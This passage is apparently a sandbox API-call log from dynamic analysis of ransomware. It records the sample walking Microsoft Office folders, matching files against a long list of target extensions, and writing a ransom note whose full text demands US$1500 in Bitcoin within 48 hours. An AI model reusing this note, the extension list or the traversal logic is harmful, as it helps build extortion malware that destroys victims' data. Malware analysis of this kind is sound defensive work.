Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIconsMask.bmp", pszSpec="*.jpeg") returned 0 [0065.659] lstrlenA (lpString="*.jpeg") returned 6 [0065.659] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIconsMask.bmp", pszSpec="*.jpg") returned 0 [0065.659] lstrlenA (lpString="*.jpg") returned 5 [0065.660] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIconsMask.bmp", pszSpec="*.png") returned 0 [0065.660] lstrlenA (lpString="*.png") returned 5 [0065.660] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIconsMask.bmp", pszSpec="*.php") returned 0 [0065.660] lstrlenA (lpString="*.php") returned 5 [0065.660] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIconsMask.bmp", pszSpec="*.cs") returned 0 [0065.660] lstrlenA (lpString="*.cs") returned 4 [0065.660] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIconsMask.bmp", pszSpec="*.cpp") returned 0 [0065.660] lstrlenA (lpString="*.cpp") returned 5 [0065.660] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIconsMask.bmp", pszSpec="*.rar") returned 0 [0065.660] lstrlenA (lpString="*.rar") returned 5 [0065.660] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIconsMask.bmp", pszSpec="*.zip") returned 0 [0065.660] lstrlenA (lpString="*.zip") returned 5 [0065.660] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIconsMask.bmp", pszSpec="*.html") returned 0 [0065.660] lstrlenA (lpString="*.html") returned 6 [0065.660] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIconsMask.bmp", pszSpec="*.htm") returned 0 [0065.660] lstrlenA (lpString="*.htm") returned 5 [0065.660] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIconsMask.bmp", pszSpec="*.xlsx") returned 0 [0065.660] lstrlenA (lpString="*.xlsx") returned 6 [0065.660] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIconsMask.bmp", pszSpec="*.xls") returned 0 [0065.660] lstrlenA (lpString="*.xls") returned 5 [0065.660] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIconsMask.bmp", pszSpec="*.mp4") returned 0 [0065.660] lstrlenA (lpString="*.mp4") returned 5 [0065.660] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIconsMask.bmp", pszSpec="*.ppt") returned 0 [0065.660] lstrlenA (lpString="*.ppt") returned 5 [0065.660] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIconsMask.bmp", pszSpec="*.pptx") returned 0 [0065.660] lstrlenA (lpString="*.pptx") returned 6 [0065.661] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIconsMask.bmp", pszSpec="*.doc") returned 0 [0065.661] lstrlenA (lpString="*.doc") returned 5 [0065.661] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIconsMask.bmp", pszSpec="*.dot") returned 0 [0065.661] lstrlenA (lpString="*.dot") returned 5 [0065.661] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIconsMask.bmp", pszSpec="*.docx") returned 0 [0065.661] lstrlenA (lpString="*.docx") returned 6 [0065.661] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIconsMask.bmp", pszSpec="*.7z") returned 0 [0065.661] lstrlenA (lpString="*.7z") returned 4 [0065.661] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIconsMask.bmp", pszSpec="*.tar") returned 0 [0065.661] lstrlenA (lpString="*.tar") returned 5 [0065.661] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIconsMask.bmp", pszSpec="*.bz2") returned 0 [0065.661] lstrlenA (lpString="*.bz2") returned 5 [0065.661] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIconsMask.bmp", pszSpec="*.gz") returned 0 [0065.661] lstrlenA (lpString="*.gz") returned 4 [0065.661] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIconsMask.bmp", pszSpec="*.mkv") returned 0 [0065.661] lstrlenA (lpString="*.mkv") returned 5 [0065.661] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIconsMask.bmp", pszSpec="*.eml") returned 0 [0065.661] lstrlenA (lpString="*.eml") returned 5 [0065.661] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIconsMask.bmp", pszSpec="*.msg") returned 0 [0065.661] lstrlenA (lpString="*.msg") returned 5 [0065.661] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIconsMask.bmp", pszSpec="*.edb") returned 0 [0065.661] lstrlenA (lpString="*.edb") returned 5 [0065.661] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIconsMask.bmp", pszSpec="*.accdb") returned 0 [0065.661] lstrlenA (lpString="*.accdb") returned 7 [0065.662] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIconsMask.bmp", pszSpec="*.odb") returned 0 [0065.662] lstrlenA (lpString="*.odb") returned 5 [0065.662] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIconsMask.bmp", pszSpec="*.java") returned 0 [0065.662] lstrlenA (lpString="*.java") returned 6 [0065.662] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIconsMask.bmp", pszSpec="*.asm") returned 0 [0065.662] lstrlenA (lpString="*.asm") returned 5 [0065.662] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIconsMask.bmp", pszSpec="*.pfx") returned 0 [0065.662] lstrlenA (lpString="*.pfx") returned 5 [0065.662] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIconsMask.bmp", pszSpec="*.pem") returned 0 [0065.662] lstrlenA (lpString="*.pem") returned 5 [0065.662] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIconsMask.bmp", pszSpec="*.p12") returned 0 [0065.662] lstrlenA (lpString="*.p12") returned 5 [0065.662] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIconsMask.bmp", pszSpec="*.gpg") returned 0 [0065.662] lstrlenA (lpString="*.gpg") returned 5 [0065.662] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIconsMask.bmp", pszSpec="*.vsd") returned 0 [0065.662] lstrlenA (lpString="*.vsd") returned 5 [0065.662] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIconsMask.bmp", pszSpec="*.odg") returned 0 [0065.662] lstrlenA (lpString="*.odg") returned 5 [0065.662] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIconsMask.bmp", pszSpec="*.raw") returned 0 [0065.662] lstrlenA (lpString="*.raw") returned 5 [0065.662] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIconsMask.bmp", pszSpec="*.nef") returned 0 [0065.662] lstrlenA (lpString="*.nef") returned 5 [0065.662] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIconsMask.bmp", pszSpec="*.svg") returned 0 [0065.663] lstrlenA (lpString="*.svg") returned 5 [0065.663] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIconsMask.bmp", pszSpec="*.psd") returned 0 [0065.663] lstrlenA (lpString="*.psd") returned 5 [0065.663] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIconsMask.bmp", pszSpec="*.vmx") returned 0 [0065.663] lstrlenA (lpString="*.vmx") returned 5 [0065.663] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIconsMask.bmp", pszSpec="*.vmdk") returned 0 [0065.663] lstrlenA (lpString="*.vmdk") returned 6 [0065.663] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIconsMask.bmp", pszSpec="*.vdi") returned 0 [0065.663] lstrlenA (lpString="*.vdi") returned 5 [0065.663] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIconsMask.bmp", pszSpec="*.lay6") returned 0 [0065.663] lstrlenA (lpString="*.lay6") returned 6 [0065.663] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIconsMask.bmp", pszSpec="*.mpeg") returned 0 [0065.663] lstrlenA (lpString="*.mpeg") returned 6 [0065.663] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIconsMask.bmp", pszSpec="*.djvu") returned 0 [0065.663] lstrlenA (lpString="*.djvu") returned 6 [0065.663] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIconsMask.bmp", pszSpec="*.tiff") returned 0 [0065.663] lstrlenA (lpString="*.tiff") returned 6 [0065.663] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIconsMask.bmp", pszSpec="*.backup") returned 0 [0065.663] lstrlenA (lpString="*.backup") returned 8 [0065.663] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIconsMask.bmp", pszSpec="*.pdf") returned 0 [0065.663] lstrlenA (lpString="*.pdf") returned 5 [0065.663] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIconsMask.bmp", pszSpec="*.cert") returned 0 [0065.663] lstrlenA (lpString="*.cert") returned 6 [0065.663] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIconsMask.bmp", pszSpec="*.docm") returned 0 [0065.664] lstrlenA (lpString="*.docm") returned 6 [0065.664] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIconsMask.bmp", pszSpec="*.xlsm") returned 0 [0065.664] lstrlenA (lpString="*.xlsm") returned 6 [0065.664] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIconsMask.bmp", pszSpec="*.dwg") returned 0 [0065.664] lstrlenA (lpString="*.dwg") returned 5 [0065.664] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIconsMask.bmp", pszSpec="*.nd") returned 0 [0065.664] lstrlenA (lpString="*.nd") returned 4 [0065.664] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIconsMask.bmp", pszSpec="*.tlg") returned 0 [0065.664] lstrlenA (lpString="*.tlg") returned 5 [0065.664] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIconsMask.bmp", pszSpec="*.lgb") returned 0 [0065.664] lstrlenA (lpString="*.lgb") returned 5 [0065.664] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIconsMask.bmp", pszSpec="*.mov") returned 0 [0065.664] lstrlenA (lpString="*.mov") returned 5 [0065.664] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIconsMask.bmp", pszSpec="*.xdw") returned 0 [0065.664] lstrlenA (lpString="*.xdw") returned 5 [0065.664] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIconsMask.bmp", pszSpec="*.ods") returned 0 [0065.664] lstrlenA (lpString="*.ods") returned 5 [0065.664] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIconsMask.bmp", pszSpec="*.wav") returned 0 [0065.664] lstrlenA (lpString="*.wav") returned 5 [0065.664] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIconsMask.bmp", pszSpec="*.mp3") returned 0 [0065.664] lstrlenA (lpString="*.mp3") returned 5 [0065.664] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIconsMask.bmp", pszSpec="*.aiff") returned 0 [0065.664] lstrlenA (lpString="*.aiff") returned 6 [0065.664] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIconsMask.bmp", pszSpec="*.flac") returned 0 [0065.664] lstrlenA (lpString="*.flac") returned 6 [0065.664] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIconsMask.bmp", pszSpec="*.m4a") returned 0 [0065.665] lstrlenA (lpString="*.m4a") returned 5 [0065.665] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIconsMask.bmp", pszSpec="*.csv") returned 0 [0065.665] lstrlenA (lpString="*.csv") returned 5 [0065.665] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6e92300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5e86eb30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb6e92300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x638, dwReserved0=0x3000003, dwReserved1=0x4f81d8, cFileName="ZoomIconsMask.bmp", cAlternateFileName="ZOOMIC~1.BMP")) returned 0 [0065.665] FindClose (in: hFindFile=0x502518 | out: hFindFile=0x502518) returned 1 [0065.665] FindNextFileA (in: hFindFile=0x4f8278, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x53907610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61cccf30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="Welcome Tool", cAlternateFileName="WELCOM~1")) returned 1 [0065.665] lstrcmpA (lpString1=".", lpString2="Welcome Tool") returned -1 [0065.665] lstrcmpA (lpString1="..", lpString2="Welcome Tool") returned -1 [0065.665] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\*.*") returned="*.*" [0065.665] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\", lpString2="Welcome Tool" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool" [0065.665] lstrlenA (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool") returned 82 [0065.665] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x53907610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61cccf30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f006f, dwReserved1=0x73006c, cFileName=".", cAlternateFileName="")) returned 0x502518 [0065.666] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0065.666] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x53907610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61cccf30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x730000, cFileName="..", cAlternateFileName="")) returned 1 [0065.666] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0065.666] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0065.666] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbbadd700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbbadd700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x10f3, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="IconImages.jpg", cAlternateFileName="ICONIM~1.JPG")) returned 1 [0065.667] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0065.667] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="IconImages.jpg") returned -1 [0065.667] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="IconImages.jpg") returned -1 [0065.667] lstrcmpiA (lpString1="", lpString2="IconImages.jpg") returned -1 [0065.667] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\*.*") returned="*.*" [0065.667] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\" [0065.667] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\") returned="" [0065.667] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\HOW TO DECRYPT FILES.txt" [0065.667] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\welcome tool\\how to decrypt files.txt")) returned 0xffffffff [0065.667] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\welcome tool\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x98 [0065.670] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0065.670] WriteFile (in: hFile=0x98, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0065.671] SetFileTime (hFile=0x98, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0065.671] CloseHandle (hObject=0x98) returned 1 [0065.671] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\", lpString2="IconImages.jpg" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImages.jpg") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImages.jpg" [0065.671] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImages.jpg", pszSpec="*.ems") returned 0 [0065.671] lstrlenA (lpString="*.ems") returned 5 [0065.671] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImages.jpg", pszSpec="*.db") returned 0 [0065.671] lstrlenA (lpString="*.db") returned 4 [0065.671] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImages.jpg", pszSpec="*.dbf") returned 0 [0065.672] lstrlenA (lpString="*.dbf") returned 5 [0065.672] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImages.jpg", pszSpec="*.myox") returned 0 [0065.672] lstrlenA (lpString="*.myox") returned 6 [0065.672] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImages.jpg", pszSpec="*.myo") returned 0 [0065.672] lstrlenA (lpString="*.myo") returned 5 [0065.672] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImages.jpg", pszSpec="*.qbw") returned 0 [0065.672] lstrlenA (lpString="*.qbw") returned 5 [0065.672] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImages.jpg", pszSpec="*.qbb") returned 0 [0065.672] lstrlenA (lpString="*.qbb") returned 5 [0065.672] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImages.jpg", pszSpec="*.qbm") returned 0 [0065.672] lstrlenA (lpString="*.qbm") returned 5 [0065.672] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImages.jpg", pszSpec="*.qbo") returned 0 [0065.672] lstrlenA (lpString="*.qbo") returned 5 [0065.672] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImages.jpg", pszSpec="*.qbx") returned 0 [0065.672] lstrlenA (lpString="*.qbx") returned 5 [0065.672] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImages.jpg", pszSpec="*.qba") returned 0 [0065.672] lstrlenA (lpString="*.qba") returned 5 [0065.672] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImages.jpg", pszSpec="*.qby") returned 0 [0065.672] lstrlenA (lpString="*.qby") returned 5 [0065.672] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImages.jpg", pszSpec="*.qbj") returned 0 [0065.672] lstrlenA (lpString="*.qbj") returned 5 [0065.672] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImages.jpg", pszSpec="*.ofx") returned 0 [0065.672] lstrlenA (lpString="*.ofx") returned 5 [0065.672] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImages.jpg", pszSpec="*.qif") returned 0 [0065.672] lstrlenA (lpString="*.qif") returned 5 [0065.672] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImages.jpg", pszSpec="*.mye") returned 0 [0065.672] lstrlenA (lpString="*.mye") returned 5 [0065.672] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImages.jpg", pszSpec="*.mbox") returned 0 [0065.673] lstrlenA (lpString="*.mbox") returned 6 